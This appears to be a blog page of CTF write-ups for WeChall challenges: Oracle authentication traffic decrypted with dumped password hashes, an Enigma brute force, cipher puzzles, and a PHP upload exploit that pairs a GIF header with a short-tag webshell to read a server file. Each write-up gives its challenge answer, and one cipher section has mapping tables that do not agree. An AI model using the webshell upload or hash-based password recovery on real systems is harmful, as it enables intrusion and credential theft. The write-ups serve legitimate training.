Hello Navi

Tech, Security & Personal Notes

One of our agents (codename Larry) was able to sniff Oracle network traffic deep in the Russian network. First Larry obtained some traffic when users authenticated to the database, this traffic you can find here

Afterwards, Larry sniffed some traffic when the database made some network backup. When he realized how important this could be, the agent immediately forwarded the traffic to the headquarter, but unfortunately the transmission was stopped. We could not make any contact to Larry anymore.

Our experts already analyzed this traffic, and were able to restore the beginning of a database file, which you can find here.

Your goal is to obtain a valid username - password - connect identifier in the following form

database_username/password@database_ip:port/database_name

This challenge fits in the Internet/Forensics section, so use google to find the right tool for it. After you have found the tool, you need a lot of oracle dll's. You can download it from Oracle official site (Oracle Database Client), but I made a small client for this challenge, you can download it here: Oracle DLLs

On the headquarter you found some analyzed Oracle traffic, maybe it will help you to understand more Oracle TNS traffic. You can download it here: example.txt.

And the last information for you, is that the clients were connecting to the database via IP tunneling, but the traffic was captured after the tunneling was terminated.

You don't have too much time to solve this, so you think brute force is not the way...

If you cannot find the tool, don't worry, you will find it Sooner or Later :)

Challenge

Agent Larry(Z 出题)提供了四样东西:

  • dump.pcap — Oracle TNS 认证流量(IP tunneling 结束后抓的)
  • database.rar — 数据库备份流量恢复出的 SYSTEM01.dbf 开头(1MB)
  • oradlls.zip — Oracle 10g 客户端 DLL 集合(oran10.dll 等 29 个)
  • example.txt — 专家分析过的示例流量格式说明

目标是恢复有效连接串:

1
database_username/password@database_ip:port/database_name

题面提示:

  • "brute force is not the way" — 明确排除暴力破解
  • "you will find it Sooner or Later" — 双关:soonerorlater.hu,Laszlo Toth 的 Oracle 密码恢复工具(woraauthbf)

URL

  • 挑战页: https://www.wechall.net/challenge/Z/agent_larry/index.php

解法

1. 解析 pcap — TNS 握手与 O5LOGON 认证

1
tshark -r dump.pcap

两个 TCP 流,客户端 192.168.1.1 → 服务器 192.168.1.4:1521(Oracle 默认端口)。

Connect 包里的 CONNECT_DATA:

1
2
3
(DESCRIPTION=(CONNECT_DATA=(SERVICE_NAME=cekpet)
(CID=(PROGRAM=C:\instantclient_10_2\sqlplus.exe)(HOST=X)(USER=Yuri)))
(ADDRESS=(PROTOCOL=TCP)(HOST=127.0.0.1)(PORT=1521)))
  • SERVICE_NAME = cekpet(数据库名)
  • HOST=127.0.0.1 只是 IP tunneling 的假象(example.txt 明示),真实 IP 看 TCP 层 = 192.168.1.4
  • USER=Yuri 只是 sqlplus 的 OS 用户名(AUTH_SID),不是数据库用户名

流 1(yuri 尝试)以失败告终:

1
ORA-01017: invalid username/password; logon denied

流 2 认证包(onegin 登录成功),提取 O5LOGON 认证数据:

1
2
3
4
5
6
AUTH_SESSKEY@...@12F9D4A97818D48E722835A0B92FB5CBD8FFBD66EF307C0F0324FDB8A2F90C4B  (server)
AUTH_SESSKEY@...@1FB2DA0F8EDE694E11A75AB4D1077C2033ED941DE6B5B09789B6EC870430A4E3 (client)
AUTH_PASSWORD@...@AF0EBF4772885A458BE07CD982A19EEAAE6EBD64504031260F8B63A5E882D26B
AUTH_DBNAME.....CEKPET
AUTH_SC_SERVER_HOST.....xp2000
AUTH_SC_SERVICE_NAME.....cekpet

服务器最终确认 USER=ONEGIN(NLS_LANGUAGE='RUSSIAN')→ 登录用户是 onegin

2. 提取数据库 hash

database.rar 解开是 SYSTEM01.dbf(Oracle 10g 数据文件开头 1MB),strings 里能看到 3 个用户及相邻的 password hash:

1
2
3
YURI    A1D41F67E0B29E26
ONEGIN 4FDB184F1CE30572
ANYEGIN E4BA299AAE1AA136

这就是题面说的"不止一个用户,数据库文件里有多个 password hash"。

3. 用 hash 解密流量(Sooner or Later 原理)

Oracle 9i/10g 认证协议(soonerorlater.hu 的文章 oracle_auth_9i10g):

  • Server/Client 的 AUTH_SESSKEY 用 password hash 加密(与 8i 相同的 DES 机制)
  • 因此拿到 password hash 就能解密 AUTH_SESSKEY,再组合出密钥解密 AUTH_PASSWORD → 明文密码
  • 这就是"如果拿到 hash 就能解出流量密码",不需要暴力

工具即 woraauthbf(Laslo Toth),但该工具依赖 oran10.dll 的导出函数 ztvo5kd(解密 AUTH_SESSKEY)、ztvo5csk(XOR+MD5 组合密钥)、ztvo5pd(解密 AUTH_PASSWORD)—— 这正是题面给 oradlls.zip 的原因。

在 Linux 上复现:wine + 32 位 Python (embeddable) + ctypes 加载 oran10.dll:

1
2
3
4
5
6
7
8
9
10
11
# 结构体对齐 woraauthbf.h:
# struct pwd_hash { u8 ver[4]; char hash[40]; } # hash 是 16 字符 hex 字符串
# struct sess_key { s16 l; u8 key[70]; } # key 是 64 字符 hex 字符串, l=0x40
# struct e_key { u8 ver[4]; u8 key[100]; } # ver={0x66,0x10,0,0}
# struct e_key_comb{ u8 ver1[4]; u8 ver2[4]; u8 key[100]; }

ztvo5kd(byref(ekey_srv), byref(skey_srv), byref(phash), 0) # hash 解密 server sesskey
ztvo5kd(byref(ekey_cli), byref(skey_cli), byref(phash), 0) # hash 解密 client sesskey
ztvo5csk(byref(ekey_srv), byref(ekey_cli)) # XOR + MD5 → 组合密钥
memmove(ekey_comb.key, ekey_cli.key, 0x20)
ztvo5pd(byref(ekey_comb), authp, 64, pwd, byref(pwd_len)) # 解密 AUTH_PASSWORD

对 3 个用户 hash 逐一尝试:

1
2
3
YURI    A1D41F67E0B29E26 → rc=-1013 失败
ONEGIN 4FDB184F1CE30572 → rc=0 len=11 tatiana1831 ✅
ANYEGIN E4BA299AAE1AA136 → rc=-1013 失败

ONEGIN 的密码 = tatiana1831

彩蛋:Tatiana 是普希金《叶甫盖尼·奥涅金》的女主角,1831 年是小说完成年份

onegin/tatiana1831@192.168.1.4:1521/cekpet

Challenge

You wake up at 4 a.m. and sadly realise, that it is another day to work. You make your breakfast, and read your favourite newspaper "Der Angriff". The date is 5th June 1944. The news predicts there will be no invasion for several days. Even your boss is away for vacation. You arrive zur Wehrmacht at 5 a.m., and the night shift collegaues greets you. He gives you the daily codes and leaves immediately the communication station. He is really a lazy guy and havent established the enigma settings yet. You really think its gonna be a lazy day - alone. You drink some beer and wait for incoming messages. As nothing happens, you happen to fall asleep. You dream very well but suddenly the radio begins to ring. As you wake up from your deep dream you knock your beer and it soaks the daily codebook. You say some round oath, pick up the radio and record the encrypted message:

U17 DE U101 0600 = 4 = VRS SDX = JSPK NIPN OZTR CYEW QICZ PDNO KRBU AXKE VTIS HIDE WZOY PGZN ERCY ADWI FTOB FYSL SKTD MLJX XVSZ JXCW BKNV IJMG RFOV YWYZ CKOZ ZPIV JLEN ZUUX NEAP QGOV

After the conversation you realise that the keys for today were partially destroyed. You imagine how angry your superior will be after returning, if you don't decrypt the message immediately. The wasted codebook is here: codebook;

Your job is to decipher the encrypted message, and the solution is the last original german word in lowercase concatenated with the total number of possible configurations in bits - if the wiring of the rotors is secret.

For example AES128 has 128 bits. So if the last original german word is "WeChall" and the total number of possible configurations in bits is 128 the solution is: wechall128 Not a single beer-drop has been wasted during the making of this challenge :)

The Nap

题面给出的报文:

1
2
3
4
5
U17 DE U101 0600 = 4 = VRS SDX =
JSPK NIPN OZTR CYEW QICZ PDNO KRBU AXKE VTIS
HIDE WZOY PGZN ERCY ADWI FTOB FYSL SKTD MLJX
XVSZ JXCW BKNV IJMG RFOV YWYZ CKOZ ZPIV JLEN
ZUUX NEAP QGOV

答案格式:

1
<last original german word lowercase><total config bits>

Codebook

codebook.jpg 是 1217×672 JPEG。水渍从右下角向上蔓延,Tag 越小的行越难读。完整转写如下,[?] 表示水渍遮挡或无法可靠读取。

# Tag UKW Walzenlage Ringstellung Steckerverbindungen Kenngruppen
1 30 B II IV III 23 08 12 AU EG HL IN MV OY QS RT XZ IYP NMA BAO HVJ
2 29 C III I II 11 09 08 AX BP DG EW HM IR JT KL NV UY MBM ECB BBR SHA
3 28 B I II V 20 08 23 AL BK CX DF EJ GP MQ OV RS YZ MID ZYF XFD HAF
4 27 B I V IV 03 09 02 BK [?] EP GS JX LQ NV OZ PW SWF GQD DMM MXE
5 26 C III II IV 06 08 04 [?] FM HP IW JX KY LS OZ NHQ YSH FBD CXV
6 25 C III IV V 04 21 11 [?] FS GL IN MX PW RT UY TBX PKD VMU CQY
7 24 C I V II [?] 15 [?] [?] CH DX FM KQ OY PT RV SZ KTM NOG FAI LOM
8 23 C V III IV [?] DJ FZ GL HV KS NU PY QW ZIL YSL OND UNR
9 22 C IV III [?] [?] [?] DM EX GV HQ KW RT SU BYP AFI YND GIK
10 21 B III IV [?] [?] [?] GN IQ KM LU PT QV SZ QYP XII GRA QMZ
11 20 B III IV [?] [?] [?] DW EH IL KO PQ RU XZ JYD FKC GFO KFX
12 19 C I II [?] [?] [?] HO KZ MU NT PX QS WY NMB IAF DIT IEK
13 18 C II V [?] [?] [?] OV EZ HP JW KU MY NQ OR VUS CZE KQU WAX
14 17 B V III [?] [?] AD BY EG FX HK IU JW LN QR SZ AOM QHJ JHN AMZ
15 16 C II II [?] [?] AT BQ CM DL ER FH GZ JY KO SX FAU NYZ MUK EFT
16 15 B I [?] [?] [?] AR BD CN EW FI HT KP LY OU VX BTP YDY YKS WPK
17 14 C [?] [?] [?] [?] AG CH EL IY JQ KR MN PU TZ VX MPS TGB GMP ZAY
18 13 C [?] [?] [?] 18 10 12 AK CT ES FN GW IU JZ LM OX PQ BCA IME CEV QMB
19 12 B [?] [?] [?] 07 08 05 AI BP CR DJ EQ FU KT LN OV WX LXQ RZW EIR HWP
20 11 C [?] [?] [?] 04 14 09 AF BQ GZ IR KN LV MU OW SY TX XZI AKU CKQ GSX
21 10 B [?] [?] III 15 06 06 AK BT EH FQ GU IL JZ MP NW OS FTB WTD CLG DSU
22 09 [?] [?] III I 12 10 03 BT EZ FO GX HR IY JP LV QU SW AWV GCQ KYC RND
23 08 [?] [?] V IV 14 13 04 AX BY CM DG FS JQ KO LP NW TZ YJP EMT OCO YDL
24 07 [?] [?] II III 03 11 20 BR DS EG FV HJ IQ KX LO NF YZ SWW RIS KCF YJN
25 06 [?] [?] V III 18 10 10 AT BN CF DR GI HY KM OX QV SU ZLY KDP VDA YXN
26 05 [?] [?] I IV 22 24 11 AN CF DZ EJ HX KT LY MQ OP SV WEC HAL LRU LZX

Tag=05 对应 6 月 5 日。

Field Value Status
UKW [?] 水渍覆盖,需要枚举 B/C
Walzenlage [?] I IV 第一个 rotor 未知;理论上可枚举 II/III/V,也可以直接枚举全部 60 种排列
Ringstellung 22 24 11 可见
Steckerverbindungen AN CF DZ EJ HX KT LY MQ OP SV 可见
Kenngruppen WEC HAL LRU LZX 可见

Solution

把每个 AAAZZZ 当成 message key,枚举全部 rotor order 和 reflector。

搜索空间:

Parameter Values Count
Rotor order 5P3 = 5×4×3 60
Reflector B/C 2
Message key AAA-ZZZ 26³ = 17,576
Ringstellung 22 24 11 fixed
Plugboard AN CF DZ EJ HX KT LY MQ OP SV fixed
Total 60×2×26³ 2,109,120

直接用 German trigram score 排名,比 IC 更可靠。随机文本偶尔有较高 IC,但不会同时命中 DER/DIE/DAS/UND/SCH/UNG 等多个德语片段。

最佳结果:

1
2
score=14  IC=0.0605  rotors=II I IV  ref=B  key=ENI
VRSSDXDERHIMMELISTOFTNEBELHAFTUNDZEITWEISEISTMITREGENZUREQNENXDERWINDWEHTSTARKER...

完整解密参数:

Parameter Value Source
UKW / Reflector B brute force
Walzenlage II I IV brute force
Ringstellung 22 24 11 codebook visible
Plugboard AN CF DZ EJ HX KT LY MQ OP SV codebook visible
Message key ENI brute force
Grundstellung not needed skipped by direct message-key brute force

原始 plaintext:

1
VRSSDXDERHIMMELISTOFTNEBELHAFTUNDZEITWEISEISTMITREGENZUREQNENXDERWINDWEHTSTARKERAUSNORDWESTXDIENAQTWIRDKLARMITVOLLMONDXX

解析规则:

Symbol Meaning
leading VRSSDX transmitted indicator text appearing at the start of the decrypted body; not a German word
X sentence/group separator
XX message terminator
Q CH, as in REQNEN -> RECHNEN, NAQT -> NACHT

可读德语:

1
2
3
DER HIMMEL IST OFT NEBELHAFT UND ZEITWEISE IST MIT REGEN ZU RECHNEN.
DER WIND WEHT STARKER AUS NORDWEST.
DIE NACHT WIRD KLAR MIT VOLLMOND.

最后一个 original German word 是 VOLLMOND,小写为 vollmond

Complete solve script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
#!/usr/bin/env python3
"""
WeChall - The Nap

Reproduce the complete solution:
- Brute-force Enigma rotor order / reflector / message key
- Score German plaintext candidates with overlapping trigram matching
- Parse raw plaintext into readable German and extract the last word
- Compute the bit value accepted by the challenge: floor(log2(3e114)) = 380

Run:
cd /home/kita/ctf/workspace
.venv/bin/python3 challenges/wechall/the-nap/solve_new.py
"""
import itertools
import math
import re
from collections import Counter
from enigma.machine import EnigmaMachine

ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
ALL_ROTORS = ['I', 'II', 'III', 'IV', 'V']

CIPHER = (
'JSPKNIPNOZTRCYEWQICZPDNOKRBUAXKEVTISHIDEWZOYPGZNERCYADWIFTOB'
'FYSLSKTDMLJXXVSZJXCWBKNVIJMGRFOVYWYZCKOZZPIVJLENZUUXNEAPQGOV'
)

RING_SETTINGS = '22 24 11'
PLUGBOARD = 'AN CF DZ EJ HX KT LY MQ OP SV'

# Common German trigrams/fragments for language scoring.
_GERMAN_MARKERS = [
'DER', 'DIE', 'DAS', 'UND', 'IST', 'EIN', 'ICH', 'NIC', 'MIT', 'AUF',
'SCH', 'UNG', 'END', 'TER', 'STE', 'ERE', 'AND', 'DEN', 'VON', 'ZUR',
'ABE', 'GEN', 'TEN', 'DES', 'DEM', 'WIR', 'SIE', 'SEI', 'WAR', 'WUR',
'BEI', 'KEI', 'HAB', 'KAN', 'WOR', 'MEN', 'HTS', 'LIC', 'VER', 'TUN',
]
# Precompile regex patterns for overlapping trigram matching.
_MARKER_PATTERNS = [re.compile(f'(?={m})') for m in _GERMAN_MARKERS]

# Compact German word list for plaintext segmentation.
_GERMAN_WORDS = {
'DER', 'DIE', 'DAS', 'DEN', 'DEM', 'DES', 'EIN', 'EINE', 'EINEN', 'EINER',
'ICH', 'WIR', 'SIE', 'ER', 'ES', 'IHN', 'IHM', 'IHR', 'SEIN', 'SEINE',
'MIT', 'VON', 'ZU', 'AUS', 'IN', 'AN', 'AUF', 'BEI', 'NACH', 'VOR',
'UEBER', 'UNTER', 'DURCH', 'FUER', 'GEGEN', 'OHNE', 'UM', 'SEIT', 'BIS',
'UND', 'ODER', 'ABER', 'DENN', 'WEIL', 'WENN', 'DASS', 'OB', 'SO',
'DOCH', 'NUR', 'AUCH', 'NOCH', 'SCHON', 'SEHR', 'IMMER', 'NICHT', 'KEIN',
'IST', 'SIND', 'WAR', 'WIRD', 'WURDE', 'HAT', 'HABEN', 'KANN', 'MUSS',
'SOLL', 'WILL', 'KOMMT', 'GEHT', 'STEHT', 'MACHT', 'GIBT', 'SAGT',
'HIMMEL', 'NEBELHAFT', 'REGEN', 'RECHNEN', 'WIND', 'WEHT', 'STARK',
'STARKER', 'NORD', 'WEST', 'NORDWEST', 'NACHT', 'KLAR', 'VOLL', 'MOND',
'VOLLMOND', 'ZEIT', 'WEISE', 'ZEITWEISE', 'OFT',
'TAG', 'JAHR', 'LAND', 'STADT', 'HAUS', 'WEG', 'MANN', 'FRAU', 'KIND',
'GUT', 'GROSS', 'KLEIN', 'ALT', 'NEU', 'HOCH', 'TIEF', 'WEIT', 'NAH',
'HIER', 'DORT', 'DA', 'WO', 'WIE', 'WAS', 'WER',
}


def ic(text: str) -> float:
"""Index of Coincidence. German prose ~0.076; random ~0.038."""
n = len(text)
if n < 2:
return 0.0
counts = Counter(text)
return sum(v * (v - 1) for v in counts.values()) / (n * (n - 1))


def german_score(text: str) -> int:
"""
Overlapping trigram count against common German fragments.

Uses regex lookahead (?=MARKER) so that e.g. 'ERERE' counts 'ERE' twice
(positions 0 and 2), unlike str.count() which only finds non-overlapping
occurrences.
"""
return sum(len(pat.findall(text)) for pat in _MARKER_PATTERNS)


def _segment_german(compound: str, words: set[str]) -> list[str]:
"""Greedy longest-match left-to-right segmentation of a compound string."""
result = []
i = 0
n = len(compound)
while i < n:
best_len = 0
for length in range(min(12, n - i), 0, -1):
if compound[i:i + length] in words:
best_len = length
break
if best_len > 0:
result.append(compound[i:i + best_len])
i += best_len
else:
result.append(compound[i])
i += 1
return result


def _extract_last_word(compound: str, words: set[str]) -> str:
"""Extract the last German word by scanning from the right for the
longest dictionary match."""
n = len(compound)
best_word = ''
for start in range(n - 1, -1, -1):
for length in range(min(12, n - start), 0, -1):
candidate = compound[start:start + length]
if candidate in words:
if length > len(best_word):
best_word = candidate
break
if best_word:
# Extend left for compound words (e.g., VOLLMOND vs MOND)
left = start - 1
while left >= 0:
found_longer = False
for length in range(min(12, n - left), len(best_word), -1):
candidate = compound[left:left + length]
if candidate in words and len(candidate) > len(best_word):
best_word = candidate
found_longer = True
break
if not found_longer:
break
left -= 1
return best_word
return ''


def decode_plaintext(raw: str) -> tuple[str, str]:
"""
Parse raw Enigma plaintext into readable German and extract the last word.

- First 6 chars (VRSSDX) are the transmitted indicator, not German.
- 'X' separates sentences; 'XX' terminates the message.
- 'Q' represents 'CH' (no CH key on Enigma keyboard).
"""
body = raw[6:]
segments = [s.replace('Q', 'CH') for s in body.split('X') if s]

last_word = ''
readable_lines = []
for seg in segments:
words = _segment_german(seg, _GERMAN_WORDS)
if words:
readable_lines.append(' '.join(words).upper() + '.')
last_word = words[-1]

return '\n'.join(readable_lines), last_word.upper()


def accepted_bit_value() -> int:
"""Published Enigma secret-wiring keyspace: ~3e114 ~ 2^380."""
return math.floor(math.log2(3 * 10**114))


def _build_machines() -> dict[tuple[str, str], EnigmaMachine]:
"""Pre-build all 120 (60 × 2) machine objects. Reuse via set_display()."""
machines = {}
for rotors_tuple in itertools.permutations(ALL_ROTORS, 3):
rotors = ' '.join(rotors_tuple)
for reflector in ('B', 'C'):
machines[(rotors, reflector)] = EnigmaMachine.from_key_sheet(
rotors=rotors,
reflector=reflector,
ring_settings=RING_SETTINGS,
plugboard_settings=PLUGBOARD,
)
return machines


def brute_force_message_key() -> list[tuple[int, float, str, str, str, str]]:
"""Search: 60 rotor orders × 2 reflectors × 26³ keys = 2,109,120."""
machines = _build_machines()
keys = [''.join(p) for p in itertools.product(ALPHABET, repeat=3)]
hits = []

for (rotors, reflector), machine in machines.items():
for key in keys:
machine.set_display(key)
plain = machine.process_text(CIPHER)
score = german_score(plain)
if score > 3:
hits.append((score, ic(plain), rotors, reflector, key, plain))

hits.sort(key=lambda row: (-row[0], -row[1]))
return hits


def main() -> None:
hits = brute_force_message_key()

print('Top German-scored candidates:')
print('score IC rotors ref key plaintext-prefix')
print('-' * 86)
for score, ici, rotors, reflector, key, plain in hits[:20]:
print(f'{score:>5} {ici:.4f} {rotors:<10} {reflector:<3} {key:<3} {plain[:80]}')

score, ici, rotors, reflector, key, plain = hits[0]
readable, last_word = decode_plaintext(plain)
bits = accepted_bit_value()

print('\nWinning settings:')
print(f'rotors = {rotors}')
print(f'reflector = {reflector}')
print(f'rings = {RING_SETTINGS}')
print(f'plugboard = {PLUGBOARD}')
print(f'message key = {key}')
print(f'score = {score}')
print(f'IC = {ici:.4f}')
print(f'last word = {last_word}')

print('\nRaw plaintext:')
print(plain)

print('\nReadable German:')
print(readable)

print('\nBit value:')
print(f'floor(log2(3 * 10^114)) = {bits}')

print('\nSolution:')
print(f'{last_word.lower()}{bits}')


if __name__ == '__main__':
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Top German-scored candidates:
score IC rotors ref key plaintext-prefix
--------------------------------------------------------------------------------------
14 0.0605 II I IV B ENI VRSSDXDERHIMMELISTOFTNEBELHAFTUNDZEITWEISEISTMITREGENZUREQNENXDERWINDWEHTSTARKER
7 0.0389 III I II B UDG YBTYENICPMICTBAKRDUESFJRDZEYQGCVQCVCDPENDPWBEINOGLHIIKCCYVGHCSOUMEYYTWSRBPYHFTVI
6 0.0466 III II V B AQU BEWEYFJXUDASKFTCXAAANZMNFLHAHANOGKFHAWBFBBEHWMHRPGEJPFXLMYZLAKFEQHMABEINQKDHVAND
...

Winning settings:
rotors = II I IV
reflector = B
rings = 22 24 11
plugboard = AN CF DZ EJ HX KT LY MQ OP SV
message key = ENI
score = 14
IC = 0.0605
last word = VOLLMOND

Raw plaintext:
VRSSDXDERHIMMELISTOFTNEBELHAFTUNDZEITWEISEISTMITREGENZUREQNENXDERWINDWEHTSTARKERAUSNORDWESTXDIENAQTWIRDKLARMITVOLLMONDXX

Readable German:
DER HIMMEL IST OFT NEBELHAFT UND ZEITWEISE IST MIT REGEN ZU RECHNEN.
DER WIND WEHT STARKER AUS NORDWEST.
DIE NACHT WIRD KLAR MIT VOLLMOND.

Bit value:
floor(log2(3 * 10^114)) = 380

Solution:
vollmond380

Bit count

Z 在论坛里贴的这段提示,逐字抄自一篇 NSA 论文:

1
2
3
4
5
6
7
8
9
10
11
The Enigma cipher machine consists of five variable components:
1. a plugboard which could contain from zero to thirteen dual-wired cables
2. three ordered (left to right) rotors which wired twenty-six input contact points to twenty-six output contact points positioned on alternate faces of a disc
3. twenty-six serrations around the periphery of the rotors which allowed the operator to specify an initial rotational position for the rotors
4. a moveable ring on each of the rotors which controlled the rotational behavior of the rotor immediately to the left by means of a notch
5. a reflector half-rotor (which did not in fact rotate) to fold inputs and outputs back onto the same face of contact points

Your goal is to calculate the total number of possible configurations for such an Enigma machine,
where you can make your own rotors, etc.

And finally a hint: If you cant solve this part by yourself, google is your best friend

来源:NSA 论文 The Cryptographic Mathematics of Enigma

  • 作者:Dr. A. Ray Miller, Center for Cryptologic History, NSA
  • 这篇论文首次算出了 Enigma 的完整理论 keyspace
  • 论文给出的精确数字(三转子、单 notch、已知 reflector wiring,即 secret wiring 的前提):
1
2
3
4
5
3,283,883,513,796,974,198,700,882,069,882,752,878,
379,955,261,095,623,685,444,055,315,226,006,433,615,
627,409,666,933,182,371,154,802,769,920,000,000,000

≈ 3 × 10^114

获取:

  • NSA 官方 PDF(需从 NSA History 页面导航,直链 403): https://media.defense.gov/2021/Jul/13/2002761536/-1/-1/0/CRYPTOMATHENIGMA_MILLER.PDF
  • Internet Archive 镜像(可直接下载): https://web.archive.org/web/20090117030740/http://www.nsa.gov/about/_files/cryptologic_heritage/publications/wwii/engima_cryptographic_mathematics.pdf
  • Cornell 大学密码学课件也引用了同一篇论文

题目要求的是 "total number of possible configurations in bits" = floor(log2(3×10^114)) = 380

vollmond380

Hello ,

This is a training challenge for simple substitution with an additional problem. The glyphs used all look alike a bit to confuse you. Punctuation has been removed. The text is in english.

I bet you will get it and know what to do with this:


Good Luck!

  • gizmore

Note: The challenge solution is bound to your WeChall session id.

solution

Layer 1: Scream Cipher

每个 Unicode 字符是 A + 变音符号的组合。使用 23 个不同字符(22 个 A 变体 + 1 个纯 A)。

Scream Code Subst
Ǎ U+01CD A
Ǡ U+01E0 B
 U+00C2 C
A U+0041 D
U+1EB2 E
Ä U+00C4 F
U+1EAE G
U+1EB6 H
Ȃ U+0202 I
U+1EA4 J
Ą U+0104 K
U+1EB0 L
U+1EB4 M
Ȧ U+0226 N
Ǟ U+01DE O
U+1EAA P
À U+00C0 Q
Ā U+0100 R
Á U+00C1 S
Ȁ U+0200 T
U+1EA2 U
U+1EA8 V
U+1EAC W
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
>>> CIPHER = {
... "A":"A", # Round-trip!
... "B":"Á","G":"Ẳ","L":"Ậ","Q":"Ǟ","V":"À",
... "C":"Ă","H":"Ẵ","M":"Ầ","R":"Ȧ","W":"Ả",
... "D":"Ắ","I":"Ǎ","N":"Ẩ","S":"Ǡ","X":"Ȃ",
... "E":"Ặ","J":"Â","O":"Ẫ","T":"Ạ","Y":"Ā",
... "F":"Ằ","K":"Ấ","P":"Ä","U":"Ȁ","Z":"Ą",
... }
... CIPHER.update({map(str.lower, kv) for kv in CIPHER.items()})
... UNCIPHER = {v: k for k, v in CIPHER.items()}
...
... def SCREAM(text: str) -> str:
... return "".join(CIPHER.get(ch, ch) for ch in text)
...
... def unscream(scream: str) -> str:
... return "".join(UNCIPHER.get(ch, ch) for ch in scream)
...
...
... print(s := SCREAM("**************************************************************************************************************************\
*************************************************************************************************************************************************\
******************************************************************"))
... # ǠĂȦẶAẦ ĂǍÄẴẶȦ
...
... print(unscream(s))
... # SCREAM CIPHER

Layer 2: 替换密码

中间字母 (A-W) 构成替换密码,无空格(连续文本)。使用 quadgram hill-climbing 破解。

替换映射表(Cipher → Plain):

Cipher Plain Cipher Plain
A E N G
B T O D
C S P C
D A Q M
E O R K
F I S P
G N T F
H U U W
I R V V
J Y W X
K H
L L
M B

使用 subsolve (Rust, quadgram hill climbing):

1
subsolve --patristocrat -f cipher_text.txt
1
❯ ./target/release/subsolve "*********************************************************************************************************************************************************************************************************************************************************************************************************************************************"

也可以看成一个非常规单次加密的单表替换Scream Cipher。

Challenge

Chessy Hawks (Crypto, Logic)

Today something weird happened to you. You took a walk in the park and found a USB stick on a chessboard, together with weird numerals on the playfield. You instantly wondered if they are related to each other, and took both the stick and a sketch of the board home. Your thoughts were right. The stick seems encrypted and the chessboard probably reveals the password.

一张 GIF 图片 chessy_hawks.gif,画着一个 8×8 棋盘,某些格子上有 hex 数字。

Solution

棋盘坐标本身可以看作 hex 值:a=0xA, b=0xB, ..., h=0x17。每个有数字的格子上标着一个 hex 值,黄圈正数,蓝圈负数,计算方式为:

1
chr(coordinate_hex - value_on_board)

其中 coordinate_hex = int(str(rank) + file_letter, 16)。

例如 a8:coord = 0x8A = 138,格子上 0x24 = 36。138 − 36 = 102 = 0x66 = f

负值实际做加法(减去负数 = 加绝对值)。例如 f6:coord = 0x6F = 111,格子上 −8,111 − (−8) = 119 = 0x77 = w

所有有数字的格子计算结果如下:

Coord Board Calc Char
a8 (8A) 0x24 0x8A − 0x24 = 0x66 f
e8 (8E) 0x3C 0x8E − 0x3C = 0x52 R
b5 (5B) −0x13 0x5B − (−0x13) = 0x6E n
c6 (6C) 0x49 0x6C − 0x49 = 0x23 # (注)
d6 (6D) 0x1D 0x6D − 0x1D = 0x50 P
f6 (6F) −0x08 0x6F − (−0x08) = 0x77 w
a4 (4A) 0x19 0x4A − 0x19 = 0x31 1
e4 (4E) 0x1B 0x4E − 0x1B = 0x33 3
d2 (2D) −0x2D 0x2D − (−0x2D) = 0x5A Z

注:c6 的值 0x49 对应 #,但它是原始 hex 45 解码环节的一部分。

按坐标顺序 (a8→e8→c6→d6→f6→b5→a4→e4→d2) 读取字符,得到:

1
f R 3 3 P w n 1 3 Z
fR33Pwn13Z

Challenge

The Mime Files (Exploit)

Hello Hacker, As you know, i am constantly developing great new websites. But this time, i am puzzled... Somehow, hackers broke into my new site "The Mime Files" and read the contents of solution.php. OUCH! Can you help me to find the vulnerability?

Source Code Analysis

Web app at https://themimefiles.warchall.net/ 是一个文件上传站点。

lib/upload.php — 核心上传逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
function uploadFile(array $file)
{
$mime = mime_content_type($file['tmp_name']);
if (strpos($mime, 'image') !== 0) // 检查 MIME 以 image 开头
return false;

$data = file_get_contents($file['tmp_name']);
if (stripos($data, '<?php') !== false) // 检查 PHP 代码
return false; // # This does not seem to help :/

$path = 'upload/' . session_id() . '/' . $file['name'];
rename($file['tmp_name'], $path);
}

Vulnerabilities

1. MIME 类型绕过: mime_content_type() 会根据文件头判断类型。添加 GIF 头可使文件被识别为 image/gif

2. PHP 代码检测绕过: stripos($data, '<?php') 只检测 <?php 字面串。使用 PHP 短标签 <?= 即可绕过 — 它完全不含 "php" 字符串。作者注释 # This does not seem to help :/ 也暗示了这个绕过。

3. 文件扩展名白嫖: 没有扩展名过滤,可直接上传 .php 文件。

Exploit

构造 payload 文件:

1
printf 'GIF89a<?= file_get_contents("../solution.php") ?>' > shell.php

GIF89a 头 → MIME check 通过 (image/gif) <?= 短标签 → PHP 检测绕过 .php 后缀 → Apache 以 PHP 执行

上传并访问:

1
2
3
4
5
6
7
curl -b "PHPSESSID=xxx" \
-F "mimefile=@shell.php;filename=shell.php" \
-F "upload=upload" \
https://themimefiles.warchall.net/upload.php

curl -b "PHPSESSID=xxx" \
https://themimefiles.warchall.net/upload/SESSION_ID/shell.php

返回:GIF89a<?php\n// GoodyearGoodeveGooday

Flag

GoodyearGoodeveGooday

Challenge

The Cookie is a lie (Special)

You, Chell want to destroy GLaDOS. For this mission you have to steal the cookie from GLaDOS in order to get access to the mainframe in the Enrichment Center.

You have found a source code for a web application, which is vulnerable to sql-injection and xss attacks. This web application runs on the mainframe (accessible only from the internal network).

Bad news are that you can't access the mainframe without the cookie, only GLaDOS can. Another bad news are that the www-user has only read access on the mainframe database, and stacking the queries is not working.

